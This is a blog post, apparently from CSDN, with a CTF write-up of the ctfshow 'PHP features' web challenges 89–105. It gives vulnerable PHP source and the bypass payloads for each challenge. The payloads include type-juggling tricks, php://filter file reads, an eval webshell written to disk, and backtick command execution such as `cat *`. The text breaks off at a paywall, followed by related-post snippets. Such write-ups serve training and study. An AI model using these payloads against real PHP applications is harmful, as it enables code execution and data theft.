ctfshow php特性系列

最新推荐文章于 2024-07-25 17:09:47 发布
最新推荐文章于 2024-07-25 17:09:47 发布
阅读量4.6k 收藏 18
点赞数 2
文章标签： 网络安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xiaolong22333/article/details/115835097
版权

文章目录

web89

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

数组绕过

?num[]=1

web90

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明：
$var：要转换成 integer 的数量值。
$base：转化所使用的进制。
如果 base 是 0，通过检测 var 的格式来决定使用的进制：
如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
如果字符串以 "0" 开始，使用 8 进制(octal)；否则，
将使用 10 进制 (decimal)。

?num=0x117c

web91

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

m为多行匹配，也就是换行后匹配到php,换行前没php

?cmd=123%0aphp

web92

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

?num=0x117c

web93

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

不能有字母，改为8进制

?num=010574

web94

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() 函数查找字符串在另一字符串中第一次出现的位置，下标从0开始
换行绕过或小数点绕过

?num=%0a010574
?num=4476.0

web95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }


?num=%0a010574

web96

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}


?u=./flag.php	//显示当前目录下的flag.php文件

或者php伪协议读取

?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

数组绕过

a[]=1&b[]=2

web98

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

三目运算符+变量覆盖
如果get传了值，那么就用post来覆盖掉get
如果get传参HTTP_FLAG的值为flag，则读取flag

get：a=1 
post：HTTP_FLAG=flag

web99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array是弱比较延用了php中的==

get：n=1.php
post：content=<?php @eval($_POST['cmd']);?>

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?>

and和&&是有区别的

$a = true && false;
var_dump($a); // false

$a= true and false;
var_dump($a); // true

所以只要v1等于数字就行了
然后要用到反射类ReflectionClass http://www.yinxi.net/doc/show_14537.html
就是返回类里面的东西

?v1=1&v2=echo new ReflectionClass&v3=;

或者直接输出

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=print_r($ctfshow)/*&v3=*/;

命令执行也行

?v1=1&v2=echo `cat ctfshow.php`/*&v3=*/;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?

?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>

题目本意是php5下is_numeric可识别16进制，如0x2e，然后调用hex2bin转成字符串写入木马，但题目环境没配好，是php7,所以要另换方法
因为写入要用伪协议写入，所以需要base64编码后转成16进制全是数字的字符串

<?php
$a='<?=`cat *`;';
$b=base64_encode($a);
echo $b;  // PD89YGNhdCAqYDs=
$c=bin2hex('PD89YGNhdCAqYDs');
echo $c;    //5044383959474e6864434171594473
?>

所以payload为

get：?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post：v1=hex2bin

查看1.php源码得flag

web103

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

同上

get：?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post：v1=hex2bin

web104

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

get：?v2=1
post：v2=1

web105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces=
最低0.47元/天 解锁文章
xiaolong22333
关注
[CTFSHOW]PHP特性
Huamang的博客
03-19 1776
web 89 include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 利用数组绕过：/?num[]=0 web 90 include
buuctf刷题
qq_41788704的博客
10-28 1996
buuctf刷题BJDCTF2020 Easy MD5网鼎杯 2020 青龙组 AreUSerialzGYCTF2020 Blacklist强网杯 2019 随便注 BJDCTF2020 Easy MD5 进来就是一个输入框，发包查看返回信息 可以看到SQL语句。这里猜想MD5出来的值会不会可以可以这样利用 select * from ‘admin’ where password=’‘or’1’ 这段PHP代码可以找到MD5出来的值类似于 '‘or’1…’ <?php for ($i = 0;;)
ctfshow php特性
m0_63253040的博客
08-01 331
有个正则匹配0-9数字，，输出flag的条件是要变量num为整数，直接用数组绕过就行了。
ctfshow-web入门-php特性（web132-web136）
最新发布
Welcome To Myon'Blog !
07-25 1454
mt_rand(1, 0x36D) 会生成一个 1 到 877（十六进制0x36D）的随机数，因此 $code === mt_rand(1,0x36D) 这个条件很难满足，因为每次都会生成一个新的随机数，$code 很难与这个随机数相等。tr -cd 'a-zA-Z0-9-' 这个命令会删除所有不是字母、数字、减号的内容，原本我想将大括号也保留，但是试了下不行。flag 分为了两段，flag1 和 flag2，拼接起来，字母都改成小写字母，添加上大括号即可。
ctfshow web入门 序列化
Lumos427的博客
02-25 1538
序列化和反序列化 web254 <?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this-&gt
【PHP代码审计】ctfshow web入门 php特性 93-104
m0_63563528的博客
08-01 712
假设 “1.php” 是在 $allow 数组中，则会将 <?当访问 “1.php” 时，恶意代码 system(“tac flag36d.php”) 将会被执行，显示名为 “flag36d.php” 的文件内容的逆向（从最后一行到第一行）。正则表达式的含义是任意字符，后面跟着"p"，后面跟着任意字符，后面跟着"h"，后面再跟着任意字符，最后跟着"p"，而。
CTFSHOW WEB89-100 PHP特性 详解
qq_49399033的博客
06-14 7428
CTFSHOW PHP特性做题笔记 详细学习
ctfshow php特性 web112
U_U520的博客
12-05 554
考点：php伪协议 绕过is_file+highlight_file 对于文件的检测 我们的目的是即不能让is_file检测出是文件，还要让 highlight_file可以识别为文件。这时候可以利用php伪协议。 可以直接用不带任何过滤器的filter伪协议 也可以用一些没有过滤掉的编码方式和转换方式 还有一些可以编码的，比如base64编码convert.base-encode64部分可以二次编码绕过(包含调用 时会解一次码)
CTFshow php特性 web101
Kradress的博客
12-14 794
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-22 00:26:48 # @link: https://ctfer.com */ highlight_file(__FILE__); include("ctfshow.php"); //fl
CTFshow php特性 web98
Kradress的博客
12-14 840
目录源码思路题解总结 源码 Notice: Undefined index: flag in /var/www/html/index.php on line 15 Notice: Undefined index: flag in /var/www/html/index.php on line 16 Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17 <?php /* # -*- coding: ut
CTFshow php特性 web105
Kradress的博客
12-14 382
目录源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-28 22:34:07 */ highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你
CTFSHOW WEB入门——爆破
Chur的博客
09-16 1059
WEB入门——爆破 BP
PHP无字母数字构造Webshell
西部壮仔的博客
02-03 1705
题目 index.php： <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ //检测字符长度 die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$co...
[CTF]CTFSHOW反序列化
Sapphire037的博客
01-20 3795
265 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php');
ctf中的web的PHP问题,Ctfshow Web入门 - PHP特性（89-102）
weixin_28909295的博客
04-01 1075
Web89include("flag.php");highlight_file(__FILE__);if(isset($_GET[‘num‘])){$num = $_GET[‘num‘];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}}num数组绕过?num[]=0Web90includ...
php反序列化总结（二）
qq_43801002的博客
05-17 550
反序列化与POP CHAIN POP CHAIN：把魔术方法作为最开始的小组件，然后在魔术方法中调用其他函数(小组件)，通过寻找相同名字的函数，再与类中的敏感函数和属性相关联，就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控，便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。 通俗点就是：反序列化中，如果关键代码不在魔术方法中，而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。 举一个小例子
安恒双11活动题目
suddenlyTW的博客
11-12 924
  由于是昨天的题目，今天链接已经无法点开了，所以通过其他大神的地方把题扣了过来 web1： 代码如下：   &lt;?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)&gt;35){ die("Long."); } ...
CTFshow 命令执行 web120
Kradress的博客
12-06 341
目录源码思路题解总结 源码 <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/'
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值